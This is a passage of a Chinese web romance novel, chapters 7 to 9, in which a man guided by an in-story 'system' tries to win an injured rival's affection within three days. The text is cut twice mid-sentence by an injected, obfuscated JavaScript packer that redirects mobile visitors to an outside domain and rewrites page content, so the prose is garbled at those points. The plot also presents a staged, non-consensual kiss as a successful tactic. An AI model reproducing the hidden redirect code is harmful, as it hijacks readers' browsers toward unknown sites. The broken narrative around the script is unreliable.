《强取豪夺,人夺错了》
7. 第 7 章
看崔凌面露难色,秦游说:“不用急着回答,今晚写个计划书给我。”
崔凌:“……”
计划书?
难道他还要把这当成正事去办吗,别开玩笑了……
再说了,三天就想让严庭深有好感?
他做不到。
这根本就是天方夜谭啊!
可他还不知道该怎么拒绝,病房门开了。
严庭深从门内出来。
崔凌偷眼瞄他,立刻被那张无情的脸逼退。
再看自家没心没肺的老板,心头不由百感交集。
二世祖看上谁不好,偏偏看上严庭深,这位强是强,帅是帅,狠也是真狠啊!
这不是存心给自己找不自在吗?
“交接好了?”
秦游看过病房里轮椅上的严庭深,听到目标肯定的答复,继而说,“走吧。”
崔凌跟在两人身后,看着两人的背影,攥着手机的手一紧再紧。
犹豫再三,想到秦游的警告,他缓缓松了手,没把这件事通知秦恒钟。
严庭深和二世祖一起养伤,安保只会加强,而且没几个人知道秦游住在泽水湾,保密性很高。
实在不行,他这几天加强警戒就是了。
董事长让秦游出院养伤,如果因为他“告密”,导致秦游出现抵触心理,也得不偿失。
想通这一点,崔凌交代左右,继续行动。
幸好复健团队都有现成的。
秦游一行人来到泽水湾时,医疗设备也正在别墅里调试,请严庭深过去试用。
考虑到秦游不可告人的目的,崔凌羞愧地把严庭深的卧室安排在秦游隔壁。
看着秦游留在客房里参观,崔凌压下心里的不自在,从怀里抽出一份文件,开始转移话题:“小秦总,你之前把这个忘在办公室,我帮你带回来了。这份资料很重要,请不要再乱扔乱放。”
秦游随手接过。
见他还不走,崔凌挠了挠文件夹,没话找话:“家里的人不会翻看,可现在你把外人带进来,乱放文件的后果会很严重。”
秦游敷衍道:“嗯。”
秦氏崩塌是必然的,或早或晚,区别不大。
如果他带进来的“外人”能把资料直接递给严庭深,还能为他节约不少时间。
恰时,护工在门口探头。
看到秦游,他提着药箱走进来:“秦先生原来你在这,该换药了。”
秦游颔首,放下文件,走到一旁沙发前坐下,解开袖口——
“……”崔凌避开关键词,委婉地说,“小秦总,这里是客房。”
经这句话提醒,秦游想起来意。
他起身回到桌前,看遍整个套房的布局,对崔凌说:“找几个人,在阿笙住进来之前,把这里装上助力器材。”
崔凌看向他简单点过的地方。
书房和起居区,是严庭深常用到的区域。
听说严庭深伤到了脊髓,行走坐卧都会受到影响,常经过的地方有工具借力,确实更方便。
二世祖原来也很细心。
是啊。
毕竟是喜欢的人,这种发自内心的关切,是很难装出来的。
崔凌想着,听到脚步声走到身旁。
秦游看了看周围,找不出哪里还需要改动,转向崔凌:“你有经验,这种提升好感的方式怎么样?”
“……”崔凌面无表情,“……非常好。”
秦游说:“有没有要补充的?”
“……”崔凌说不出话来,干脆摇了摇头。
秦游说:“那就去准备吧。”
崔凌扭头走了。
秦游也回到卧室。
换了药,他去楼下陪目标吃过饭,再上楼时,工作人员向他汇报。
“秦先生,东西已经安装好了。”
“辛苦了。”
秦游说,“崔凌呢?”
工作人员说:“崔先生给了我们图纸就去公司了。”
秦游抬腕看表:“你们也下班吧。”
“好的。”
秦游和严庭深继续上楼。
来到卧室,严庭深一眼看到门内高低错落的器材。
比医院的设备更周全,却并不妨碍活动,摆放的思路也很明确,在他休息和工作的范围内器材最多,显然经过设计。
“怎么样?”秦游笑说,“不满意还可以改。”
严庭深回神,没去看他,只缓声道:“这样很好。谢谢。”
从目标的神色看不出端倪,但系统没有播报数据,看来好感度没有上涨。
对这一点,秦游倒没有太意外。
目标情感封闭,变化一直不多,这点小事应该很难打动这颗坚硬的心。
好在至少涨过一个点,也没再下降,说明整体方向是对的。
不过,这个方向的进度太缓慢,三天的时限即将过去三分之一,万不得已,备用计划还是要有。毕竟有备无患。
秦游看向身旁的严庭深,落后半步,上下打量着这具身体,问系统:【你说的亲密接触,其他部位的接触算吗,必须是吻?】
系统回答:【抱歉,宿主,任务详情中没有提及其余哪些部位算作亲密部位,举例中只有亲吻和性|交。】
秦游沉默了。
系统说:【但不建议宿主和目标进行性|交,因为接近百分百概率将引起目标极度反感,导致任务失败,且——】
秦游说:【……好了。够了。】
系统说:【好的……】
秦游转而问:【任务进度有实时记录吗?】
系统调出面板:【有的,目前进度为百分之零。】
秦游说:【一会我尝试接触目标,你实时观察进度。】
系统说:【好的!】
秦游关了系统页面,重看向严庭深。
没多久,他轻咳一声,贴近一步,抬手扶向严庭深腰身。
手掌落下前,他顿了顿,见严庭深看过来,才沉沉按下。
他稍用力把人揽进怀里,作势去看地面,语气如常:“小心台阶。”
严庭深眸光微凛,循声也看下去。
转角的装饰性台阶,一两厘米,不是秦游的动作,他并没注意到。
但此刻更有存在感的,是他腰间的那只手。
尽管有过一次经历,他仍不能习惯和另一个人这样亲密,更不能习惯这样的姿态。
严庭深眉间蹙起,正要动作,只觉腰间的手忽然松开。
这只手似乎不经意地拂过腰后,又托过他的手臂,不等回应,温热有力的指腹强行穿进他的左掌,轻轻握紧,平缓却强硬地带着他往前走了一步。
昨晚的记忆骤然席卷重来。
同样的人,同样强硬的作风,把他护在身边,为他挡了一刀。
不同的是,这一次,走出这一步,秦游很快又收了手。
只一步路的距离,动作也并不出格,更出自好意,计较这些似乎显得小题大做。
严庭深转向神情自若的秦游。
他的手落回身侧,微拢又松,掌心似有如无的温度仿佛残留的星火,还在滚烫。
秦游收起的手握拳负在身后,笑眼看他:“怎么?”
严庭深微顿,只道:“没什么。走吧。”
两人接着往前。房间里更加安静。
系统的声音更分明:【宿主,好感度无变化,紧急预案任务进度无变化。】
看到面板上纹丝不动的数据,秦游无奈。
按他的推测,在任务初期阶段,所谓的亲密接触,不可能直接跳到最后一步,目标也不可能接受,而除了吻,牵手、拥抱,在一段关系里,都算作亲密接触的一种。
可惜,他的推测在系统判定里不成立。
系统说:【宿主,据资料显示,人类亲吻需要的嘴唇是裸露状态,性|交时也是,会不会是你隔着衣服摸目标,接触得不够亲密?】
【……我不是摸——算了,】
秦游说,【我握过他的手,这和衣服无关。】
一次失败,系统毫不气馁:【宿主,那就试试亲吻吧,目标没有拒绝被你握手,说明对你没有防备,强吻的成功率极大,难度指数一颗星!】
让它气馁的是,宿主没有采纳这个提议。
秦游正和严庭深道别。
他已经察觉,对方显然因为他刚才的行为有了防备,再往前时和他拉开了一步距离。
既然继续待下去会被提防,好感度应该也不会得到提升。比这更不妙的,如果目标多想,好感度可能会降低。
“忙了这么久,你也累了,早点休息吧。”
严庭深说:“麻烦了。”
秦游摆了摆手,转身走到门口,又回脸对他说:“我就在隔壁,护工的呼叫铃在你床边。之后有任何事,随时来找我。”
严庭深说:“好。”
看着秦游的背影没入门后,房门也随即合起,他转眼扫过周围,眸光微敛。
秦游邀请他之前特意点明合作,出院后却又只字不提,是另有打算,还是另有安排?
思忖间,严庭深的视线落在身侧沙发前的矮几上。
一份文件夹正随意摆在桌边。
严庭深缓步过去,拿起文件夹,翻开第一页,动作顿了顿。
秦氏的机密资料?
他正要合起,倏地,秦游的脸从脑海闪过。
严庭深在沙发前坐下。
一份机密文件,怎么会被随意放在这。又这么巧合,出现在为他准备的客房。
秦游不会傻到连涉密文件都不懂。
能接触到这份文件的崔凌不会做出这种事。
那么只有一种可能。
这就是秦游口中的“合作”。
严庭深看着手里这份文件,眼底深沉。
秦恒钟无非想要一份计划案,以秦游内藏的心性,何必来找他做枪手。
是做不到。
还是试探?
亦或两者兼有。
严庭深左臂搭在扶手,食指轻点。
良久,他放下文件。
秦游今天为他,不惜得罪严立辉,想试探他的态度,也算情有可原。
那道陌生的挺拔背影蓦地浮现——
严庭深阖眼。
帮一次,未尝不可。
—
翌日。
清晨。
秦游起床洗漱过,准备下楼陪严庭深吃早餐。
到餐室之前,他还在回想是不是忘了什么。
从昨晚到现在,这个念头偶尔跳出来,至今他还没记起。
不过就目前而言,除了目标的好感度,其余事都不重要。
直到走近餐桌,和目标打过招呼,看到桌上整齐摆放的那份文件,秦游挑眉,终于找回了印象。
他起先没有在意,坐下后接过佣人递来的粥,先看向严庭深:“吃得惯吗?以后家里的饭,可以让厨房按你的口味做。”
严庭深看他一眼:“不用。”
秦游也没坚持,把面前的文件推到一旁,拿起筷子。
严庭深看着他动作,视线落在他的脸上,仍看不透他在想什么。
唯独从他看到文件后的平静可以确定,他丝毫不担心它的安危。
秦游察觉他的视线:“有事?”
严庭深直言问:“你不担心它落在有心人手里?”
秦游笑说:“它在你那,比在我这更安全。”
严庭深凝眸。
果然。
他的猜测没错。
秦游说:“别多想,吃饭吧。”
严庭深看着他,解锁手机:“联系方式。”
系统惊喜交加:【宿主,目标竟然主动找你加好友!】
秦游也感到意外。
他掏出手机和目标互换好友,通过的消息刚收到,一条消息就跳进来。
是一份文件。
秦游随手点开,更是始料不及。
“计划案?”他看向严庭深,“你昨晚做的?”
昨天下午把文件忘在客房,刚才看到,他以为目标不把资料透露给严庭深已经很有风度,怎么都没料到,对方竟然为他做了一套方案。
严庭深说:“嗯。”
秦游大致翻了一遍,又看向严庭深,须臾,镜片后的双眼才浮起笑意,深入眼底:“真没想到。”
没想到?
严庭深淡淡道:“一份方案,你以为需要多久?”
秦游轻笑:“不论多久,都谢谢你。”
严庭深抬眼,对上他的视线,不觉微顿。
不知怎么,此时此刻的这双眼睛,笑意似乎格外深切。
秦游已经收回目光。
他又仔细看过一遍文件。
和他的习惯不同,目标让出的空间很低,思路更极致狠辣,但毫无疑问,这份方案质量非常高,只从商业角度来看,甚至比他亲自操刀要更高,绝不是随便糊弄的文本。
以目标身为主角的实力,的确能轻松做出这份方案。
不过。
秦游转向严庭深。
伤到现在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14406575|153476||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,目标从没有真正静下心休养。
脊髓受损只休息一天,根本不足以支撑普通的日常生活,何况长时间集中注意力。
他把人接到家里,其实也没把对方的伤真正放在心上,原本只打算近水楼台,做点什么提升好感,没想到,却是对方先为他费心,不知道花了多少心思,做了这套方案。
系统十分感动:【宿主,我就跟你说吧,初始好感度百分之十很难得的,你看,目标竟然会主动帮你,肯定是在感激你为他做的事!】
好感度。
秦游放下手机。
难道是他低估了好感度的数值?
百分之十已经能让目标做到这种程度,那昨天帮忙能涨一个点,看来也不算低。
只是这样一来,短时间内再提升一次,恐怕是没指望了。
如果不能解锁好感度任务——
秦游重新端起碗筷,不再深想。
饭后,他本想陪目标去做康复训练,聊表谢意,被目标以工作为由一口拒绝。
秦游原以为这只是借口,却发现目标真的在房间里待了一天,连吃饭都是在里面解决,佣人小心翼翼地进去,再小心翼翼地出来。
眼看天又黑了一轮,系统心急如焚:【宿主,两天过去了,任务时限只剩最后一天了,你还不去亲亲目标吗!】
秦游说:【别急。】
系统:【……】
它急得都快线路冒烟了!
秦游拨弄着屏幕上的方块。
相比目标,他今天要轻松多了。
秦恒钟指派的任务提前完成。
线上旁听几个会议,就是秦氏总经理一天的工作量。
说起秦恒钟的任务。
秦游看了一眼床头柜上的文件夹。
在这么忙的情况下,还抽空帮他做方案,不得不说,之前他一直看错人了,他的目标是十足的面冷心热。
【就算不亲,宿主,提升好感度的事难道你也忘了吗?】系统试图劝宿主上进,【这个也可以做呀!】
秦游说:【我去打扰他工作,你确定是提升好感,不是降低?】
【……】系统无声许久,又说,【那还是亲亲?】
这个当然更不行。
秦游想了想,关了游戏,点进聊天软件。
账号里乱七八糟的消息他已经清空,整个列表只剩唯一的一个聊天框,是系统的默认头像,昵称也只有一个句号。
点进去,聊天记录停留在早上发来的文件。
秦游想了想,发了条消息过去。
秦:还在忙?
消息很快回复,内容简单直接。
。:有事?
秦:注意劳逸结合哦,你该休息了。
这一次,消息石沉大海。
系统也说:【原来目标真的很忙……】
秦游看一眼时间。
八点四十了,忙了几乎一天。
看样子他把目标接到家里养伤,目标直接把这当成办公场所了。
出院时医生明确指出的注意事项,静养是第一条,按目标费力劳神的程度,难保这个伤不会越养越重。
放在之前,这种情况他可以视而不见。
身体是自己的,健康与否全凭自愿,既然目标不在意,他又何必多此一举。
但现在目标主动帮了他,虽说这个方案对他其实可有可无,对“秦游”在秦氏做出成绩却大有帮助。
不论如何,目标行动时的好意,他心领了。
在接受好意之后,继续作壁上观,他实在做不到。
帮目标养好伤,就当作还清这份人情吧。
秦游从沙发起身,出门走到隔壁门前,抬手轻敲。
—
“严总,李见航还是不肯招认,说辞没变,自己顶下了,说是个人恩怨……”
听着耳边的汇报,严庭深看着屏幕上的聊天框。
这样毫无意义的废话,没有人会用来打扰他,这个人却不止一次地提醒他受伤软弱的事实。
严庭深移动光标,停在关闭聊天的页面,就在点击时,指腹忽地一颤。
他顿了顿,眸光渐沉,五指缓缓收紧。
时而麻痛的神经,和秦游一样出现得不合时宜。
公司,包括严家在内,他出事的消息还没流通,车祸也还没有找出源头。
放在车祸之前,处理这些简单的内容并不会消耗他太多精神,现在却明显让他感觉到疲惫。
严庭深闭眼。
他承认,秦游的提醒,几次都在真心为他考虑。
“……”
通话另一端的人不知道什么时候停了,直到键盘敲击的声音再次响起,才放低声音试探:“……严总?”
他不清楚为什么问话迟迟得不到上司回复,正在迟疑该不该重复第三遍的时候,听到不清晰的敲门声。
应该是严总那边的,他没再出声。
很快,他果然听到上司终于发话。
“先到这吧。”
“好的。”
结束通话,严庭深看向门前的秦游:“秦总?”
秦游走近:“听说你昨天到今天,都没做康复训练?”
严庭深看他一眼。
这么晚了,秦游过来只是为了提醒这件微不足道的小事?
“走吧。”秦游说,“现在开始,也还不晚。”
严庭深说:“康复的事,不劳费心。”
秦游含笑看他:“不可以再拖了,今天必须做。”
过去的两天已经证明,凭自觉,目标是不肯乖乖养伤的。
严庭深微蹙起眉。
秦游绕过办公桌到目标身旁,才看到屏幕上的聊天页面。
回复框里,打了一半的拼音还没成型。
在回他的消息?
秦游挑眉,再转向严庭深,唇边笑意稍浓。
严庭深注意到他的视线,抬手合起电脑,淡声道:“我会去的,秦总请回吧。”
秦游轻笑,对这句缓兵之计丝毫不信。
他伸手扣住严庭深还没收回的左手,打算直接把人从这张办公桌后带走。
严庭深猝不及防,起身时没能站稳,往身侧踉跄半步。
见状,秦游又握住他的肩膀,往前迎了一步,把人接进怀里,正要说话,没想到严庭深微怒抬眼——
鼻尖似乎有触感擦过,秦游微僵,下意识往后避让。
严庭深的薄怒也悄然定格。
只有系统在懊恼:【宿主,你在干什么!刚才不动,任务就做到了!!】
8. 第 8 章
突然的寂静维持良久。
秦游先回神过来,清咳一声,对严庭深说:“你没事吧?”
严庭深的左手还因为刚才的动作扶在他肩颈,似乎也被声音惊醒,掌下用力,推开了距离:“嗯。”
秦游说:“不好意思,忘了你还有伤。”
严庭深面上本就不易察觉的怒色早在不知觉间消弭,闻言只道:“不要紧。”
对话平淡。
两人都没提及刻意被忽略的小摩擦。
不能释怀的依然只有系统:【真的太可惜了,宿主,就差那么一点点!都不用你主动,要是你刚才动得再晚零点一秒,目标就亲上来了!宿主啊!!】
秦游扫过严庭深的嘴唇。
确实,如果刚才阴差阳错被目标的嘴唇蹭到,完成亲吻的动作,也许会算作任务完成。
对于这样机缘巧合的意外,毕竟不是真正的吻,他没有太大感受。
再者,是目标的动作导致这个意外发生,错不在他,好感度也不会降低,两全其美。
但事后的理性思维无法左右结果。
已经发生的事,再去追求已经不可能的可能性,毫无意义。
“秦总——”
严庭深正要开口,注意到秦游的视线,薄唇微抿,转身绕过了他,“还有事吗。”
秦游也看到他的动作,猜出被他误会,也不好解释,只说:“当然有。为你准备的康复室就在二楼,走吧,我带你过去。”
严庭深眉间蹙着星点刻痕。
秦游不会听不出他的意思,还要坚持做这个康复训练?
“难道你真的想留下后遗症?”
秦游往前一步,先走出安全距离,让他安心,“训练是必要的,你已经缺勤一天了,今天再错过,对身体没好处。”
神经似乎附和秦游的想法,正在叫嚣。
比起住院当晚,两天过去,他的状态的确在减退。
严庭深垂眸看过微颤的五指,不多时,终于改口:“有劳。”
有刚才的意外,秦游没再靠他太近,只照顾他的速度,放缓脚步:“跟我来。”
严庭深看向他的背影,又说一句:“谢谢。”
秦游笑了笑。
他回头和严庭深对视:“不是说过了吗,跟我不用这么客气。这种小事也总要谢来谢去,太疏远了。”
严庭深无言半晌。
秦游说得没错,似乎自认识以来,他对秦游说的最多的两个字,就是谢谢。
秦游收回视线:“如果真的想谢我,就对自己好一点吧。认真训练,争取早点恢复健康。”
也让他欠下的这份人情早点还清。
严庭深看着面前这道渐渐熟悉的身影。
片刻,他说:“好。”
【宿主,你为什么离目标这么远呢?】
系统又开始提出建议,【他现在腿脚不方便,说不定随时都会摔倒,到时候你就趁他不注意,假装扶他的时候亲他几下,反正他好像也根本都不在乎!】
秦游:【……】
亲在嘴上。
还要亲几下。
目标只是脊髓受损,不是智商受损,怎么可能注意不到。
系统从宿主的不理会中得到答案,难掩焦急:【时限只剩不到一半的时间了,宿主,你还有其他办法吗?】
它只听到宿主说。
【别急。】
系统:【……】
秦游和严庭深来到康复室。
看到里面的器材,他问:“需要护工吗?”
严庭深没有直接拒绝。
秦游说:“你不知道训练方法?”
从第一次见面,目标就不肯在人前示弱,能自己解决的事,他绝不会让第二个人帮忙,现在为难,一是训练方法,二是可能有无法自主完成的动作。
严庭深微顿,向一旁示意。
秦游看过去。
这间康复室是医疗团队倾力打造,任何细节都考虑到了,墙上正是一整套康复训练的内容,从动作标准,到注意事项,每一步都标注得极尽详细。相对应的器材旁,也是相同的内容。
他依次看过去,发现其中最后两组动作果然需要帮忙。
系统忙说:【宿主你糊涂啊!要什么护工,你去帮忙的话说不定有好感度呢!】
这次倒有点道理。
秦游重新仔细看过动作要领,对严庭深说:“不用舍近求远,这两组我来帮你。”
除了好感度,他既然欠目标的人情,也该熟悉一下这些动作,防患于未然。
“为什么?”
秦游循声看向严庭深。
严庭深也正看他:“为我做这些。”
秦游笑说:“这么快就忘了吗,你昨晚才为我做了方案。”
对上他笑意深浓的桃花眼,严庭深眸光轻闪。
“何况你还救过我一命——”
严庭深凝目,眉心微蹙。
秦游接着说:“比起这个,我为你做这些,算得了什么?”
严庭深收回视线,语气淡淡:“秦总说的这件事,我早已经不记得,请不要再提了。”
秦游挑眉看他转身,从善如流:“好,我听你的,不再提了。”
话落去取来计时器,随他一起走到器材旁,“开始?”
严庭深颔首。
之后全程,秦游陪在他身侧,看着他完成一组又一组动作。
直到过去一半,见他唇色微白,前额也滚着细汗,仍不管不顾继续下去,才出声叫停。
“该休息了。”
严庭深道:“没必要。”
秦游看他一眼,直接俯身按在他的肩膀,把人压回原本半躺的软垫:“好了。你也不差这点时间。”
严庭深拂向肩上的手。
但之前轻易拂开的力道,这一次稳得不动如山,不容挣脱。
他蹙眉道:“松手。”
秦游于是松开他的肩,转扣住他想借力起身的手腕,顺势坐在他身旁,笑说:“过度训练是要出问题的。”
本就不惯用的左手被仿佛炽热的掌心牢牢钳制,锁在腹前,严庭深看向秦游那双看似温柔散漫的浸笑眼睛,蹙眉愈深。
秦游也看着他:“你现在是我的病人,我要对你负责。”
僵持两秒,严庭深收紧的左手缓缓放下,沉声道:“松开。”
秦游打量他的神色,随后依言松开,见他不再一意孤行,体贴地把人扶坐起来,递给他温水:“补充一下体力。”
严庭深却没看他,喝过水正要起身,手边毛巾又递过来。
“擦擦汗吧,不要着凉。”
严庭深一顿。
秦游看出他心情不佳,往前再递了递:“我帮你?”
严庭深又蹙起眉,抬手接过。
秦游见状轻笑:“开玩笑的。”
严庭深没再理他。
休息过后,两人继续后半部分的训练。
到需要有人配合的两组动作时,秦游双手落在严庭深身上的瞬间,感觉到掌下的身体本能绷紧。
不适。
不喜。
不习惯。
秦游能大概了解目标此刻的心情,但训练必须要做,这种心理,只能由目标自己克服了。
严庭深也没多想。
已经决定的事,三心二意只是浪费时间,何况秦游的动作沉稳标准,显然是在认真帮他。
当室内只剩动作时带起的窸窣声响,大约沉入锻炼,他直觉并不太久,全组康复已经结束。
随后抬腕看表,才发觉过去了将近一个小时。
秦游没注意他的眼神,把温水递给他:“歇一歇。”
看着目标擦过汗,才接着说,“晚上锻炼影响休息,从明天起改到下午吧。三点。”
严庭深没有拒绝:“嗯。”
秦游等他平复呼吸。
休息过后,再送他回房,终于功成身退。
回到卧室,系统看着自己那没有一丝紧迫感的宿主洗漱后又去睡了,还是没忍住。
【宿主,之前那么多好机会,你不珍惜……】
它沮丧地说,【现在目标好感度没提升,今天全白干啦!】
秦游躺下的动作一顿。
目标每完成一次康复训练,离恢复就更进一步,今天虽然是第一次,却也是一个开始。
是目标伤势痊愈的开始。
也是他还清人情的开始。
说来成果颇丰,和白干怎么也扯不上关系。
—
次日一早。
秦游又是下楼陪严庭深吃过早餐,随后再没有见过他的身影。
到了下午,两天不见的崔凌反而露了面。
“小秦总。”
看到双腿交叠,倚坐沙发的秦游,崔凌在台阶前停了停,才继续往前,“这是董事长会上提过的材料。”
秦游没有看他,带伤的左臂搭在扶手,抬指微摆:“坐。”
崔凌又停了一步。
他又往前看了一眼。
没错,二世祖还是在打游戏,语气也随意平常。
可脸上没了笑模样,镜片后的深邃眼睛微敛微垂,让那张棱角分明的侧脸忽然有点锋芒,低沉轻缓的嗓音,听起来也有种从容不迫的淡然,竟然让他感觉压力倍增。
“……小秦总,那份计划书,我真的无能为力。”
音效声停了。
秦游抬眼看过主动交代的崔凌,关了游戏,跳出的页面正是一封邮件。
邮件名写着计划书。
邮件内容只有五个字。
欲速则不达。
发送时间是昨天凌晨一点四十五。
要说崔凌熬夜到凌晨,只能想到这五个字,不可能走到今天的位置。
而且这句话不仅表明了他无能为力,还兼指时限太短,根本做不到。
从目前任务的进度看,确实也没错。
同时看到这封邮件的崔凌却眼皮一跳。
看不透秦游的意思,他咬了咬牙:“小秦总,董事长交代的方案,我可以和你合作完成。”
他知道二世祖根本无心放在继承家业上,对于董事长给的任务,肯定不会认认真真去做,否则也不会正式入职第一天就在会上玩游戏。
然而让他惊讶万分的是,秦游竟居然拒绝了他的提议。
“不用了。”免得麻烦,秦游不打算在一周期限结束前交出方案,只说,“放心吧,计划书的事我不会追究。”
崔凌惊讶之余,松了口气。
他把带来的文件夹放在桌上,又从怀里掏出一份请柬。
“除了材料,还有这个慈善宴会。”
崔凌说着,把请柬递到秦游手里。
然后看着秦游随手扔在一旁。
“……”崔凌攥着拳,“周日晚上八点,董事长交代,请你务必准时到场。”
秦游还没开口。
系统提示先响起。
【剧情节点触发。】
【目标将在两天后陷入困境,请宿主及时赶到、并设法拯救目标离开现场。】
剧情节点?
秦游不由意外:【这个节点也能覆盖紧急任务?】
【……不能的。】
系统的声音带着奇怪的飘浮,又仔仔细细地解释说,【节点任务为剧情触发后的固定任务;主线好感度任务,则需要好感度积累到一定数值才能触发,可以在固定任务的基础下,进一步提升剧情前攻略进度,与紧急预案任务作用相同。】
秦游问它:【既然剧情能正常触发,你发起紧急预案的目的是什么?】
【……】系统忽然吭哧起来,【……对不起,我……我以为,好感度不够……】
闻言,秦游沉默了。
系统一阵心虚。
好感度在第一次好感度任务或紧急预案任务之后才能生成记录,它哪里知道宿主只完成固定任务就能达标啊……
但它很快找到为自己辩驳的理由:【对了!宿主在任务之前的好感度只有百分之九,如果不是任
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14406576|153476||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
务需要,也不会去帮目标赶走家人,我也帮了忙的……】
秦游抬手按了按鼻梁。
事已至此,多说无益,指责系统也不是解决问题的办法。
沙发前,周围突然的安静让崔凌浑身不自在。
他不知道秦游到底在想什么,但生怕对方又在琢磨怎么和严庭深谈恋爱,现在东西全都带到,他当即出声告辞。
“小秦总,公司还有事情要忙,我先回去了。”
崔凌说完,又补充,“周日晚上我再来接你。”
参加那场晚宴会的名流不少,他知道董事长让秦游过去,也有这方面的考量,为保万无一失,还是他亲自去送比较好,省得董事长的心思白费。
秦游轻易看穿他的心思:“等等。”
崔凌看向他。
秦游说:“计划书你做不了——”
听到这三个字,崔凌头皮发麻。
他宁愿在公司加班,也不想从二世祖口中听到这些。
秦游说:“帮我去查一下阿笙的喜好。”
“喜好?”
崔凌想起严庭深,谨慎地问,“具体是指哪个方面?”
秦游说:“事无巨细,偏好的菜系,平常关注的作品,有没有个人爱好,哪怕喜欢什么颜色,只要你能找到,都不要忽略。”
话落,他看了崔凌一眼,“崔助理,你真的谈过恋爱?”
“……”崔凌刚想说话,余光看到秦游身后,严庭深不知何时缓步经过。
似乎听到什么,他也看过来一眼。
崔凌被那双一贯冷酷的眼睛钉在原地,本想打招呼的嘴张不开,好不容易找回声音,对方的视线再划过秦游,已经转身离开。
崔凌讪讪,又有些忐忑。
他总觉得严庭深是特意看他,目光比在秦游身上停留的还久。
难道是他做了什么,无意中得罪了严庭深?不应该啊……
崔凌苦思无解。
这两个人,不愧能走到一起,毛病都这么类似,都看不上对方的助理。
二世祖莫名其妙看不惯裴笙就算了,本来秦游做事他也看不懂。
可他和严庭深平常没有交集,想得罪都难,怎么也沦落到被看不惯的行列?
对面,秦游注意到他的动作,回眼看到严庭深,抬腕看表,才发现时间到了三点。
“好了,你先回去吧。”
崔凌看向秦游,见他起身,正要依言离开,又听到他说。
“要查的事,不论什么结果,今晚给我答复。”
崔凌:“……”
秦游已经走向严庭深,并肩上楼:“时间到了,怎么不叫我?”
严庭深往楼下扫过,淡声道:“你有私事要谈,何必过来。”
秦游一顿:“你听到了?”
私下找人去查目标隐私,说起来实在不够光彩。
如果不是事出紧急,目标又从不正面回答这类问题,他也不会这么做。
严庭深说:“无意听到的够多了。”
仅凭一句话,还不能确定秦游和崔凌的关系,但事关隐私,秦游异常的反应也说明不想让他知道,他没去多问。
看出他没听到关键部分,秦游笑说:“没关系,以后不论我有公事还是私事,遇到你的事,都可以暂时搁置。”
严庭深看了看他,没再开口。
话间,两人回到康复室。
秦游说:“准备一下,开始吧。”
第二次做相同的训练,他和目标都渐渐熟练。
无视系统催促他完成任务的提醒,一小时全程结束,秦游照例把温水递过去。
在伤后康复这件事上,还是不该因为分心影响成效。
系统也不敢再催。
自从意识到好心办了错事,它如今很缺少底气。
可发现训练结束,宿主和目标又各自回了房间,它的焦急一浪接一浪。
直到晚上,看见那个姓崔的配角给宿主发来写着“一无所获”四个大字的邮件,宿主竟然还不行动,乃至一夜的睡眠质量,好得让它难以理解。
急啊!
宿主你该急了!
它憋了一夜,熬到早上,看着宿主不紧不慢地洗漱,终于再也忍不住了。
【宿主,时限就剩最后十分钟了,你再不去,我们现在一点能量都没有,你的任务彻底失败,会死的!】
秦游说:【别急。】
【……】系统急得直觉芯片快要爆炸了!
五分钟。
三分钟。
一分钟……
秦游看过面板上被系统放大的倒计时,无奈暗叹。
已经走到这一步,任务这样失败,的确有点可惜。
他想着,转身出门,到了隔壁门前,顿了顿,抬手轻敲。
【……宿主,】系统盯着倒计时,心惊胆战,【这个时候就别太礼貌了吧,来不及啦!】
“进。”
秦游推门进去,看到目标果然在书房:“早。”
【最后十秒倒计时,十、九——】
看到他,严庭深也微一颔首:“早。”
秦游走到桌后:“先吃饭吧,我陪你下去。”
【八!七!】
严庭深说:“嗯。”
两次训练,他对秦游偶尔的帮助已经习惯,话完抬手,按在秦游半抬的右臂。
他借力正要起身,掌下的手臂却忽然动作,似乎要转去托扶他的小臂——
力道交错,严庭深蹙眉,往后微倾倒。
“嗯?”
他听到秦游像在意外,但往前的一步,膝盖正顶过他腿侧,牵动敏感的神经,让他更难保持平衡。
“小心。”
秦游说着,俯身捞起严庭深。
他的右手按在严庭深腰后,垂眸看着严庭深毫无防备的神情,借纠缠的动作,再往下一分。
【三,二——】
同样交错的呼吸一瞬拉近。
秦游不再犹豫,轻轻吻在严庭深的嘴唇。
9. 第 9 章
【一!!】
系统激动的声音还没落尽,浅尝辄止的吻已经结束。
怀里的身体紧绷僵硬,秦游也作势往后拉开距离,视线扫过严庭深抿直的唇,又落回严庭深的眼睛。
这双遭遇车祸仍毫无波澜的点漆眸光,轻怔过后,此刻正沉沉流转。
但微薄的怒色掺进眼底,反而让这张永远平静的脸融进几分生动,不再那么冷漠。
秦游不动声色,语带关心:“怎么没站稳,伤复发了?没事吧?”
严庭深退回桌前,听到这句话,按在桌面的手不由微重,却只道:“没事。”
属于另一个人的体温尽管早已分离,背后曾被牢牢禁锢的力道仍留有痕迹。
唇上陌生的柔软触感也仿佛残留,一再蔓延,轻得发痒。
但这次的意外和前次相差无几。
不过是上次秦游反应更快,这次稍慢一步,没能躲开。
说到底只是巧合,他上一次没有发作,这一次变了态度,未免太刻意。
转眼见秦游也退了一步,唯恐避之不及的模样,严庭深五指又紧,收回视线,当先一步走向门外。
秦游看着他的背影。
没想到,目标还很通情达理,这么容易就直接翻篇。
【宿主你看,多简单啊,你亲一口就过关——咦?】
系统还在高兴,庆祝到一半,它疑惑地说,【不对劲呀,好感度没涨,我们的空间能量也没入账,怎么回事?】
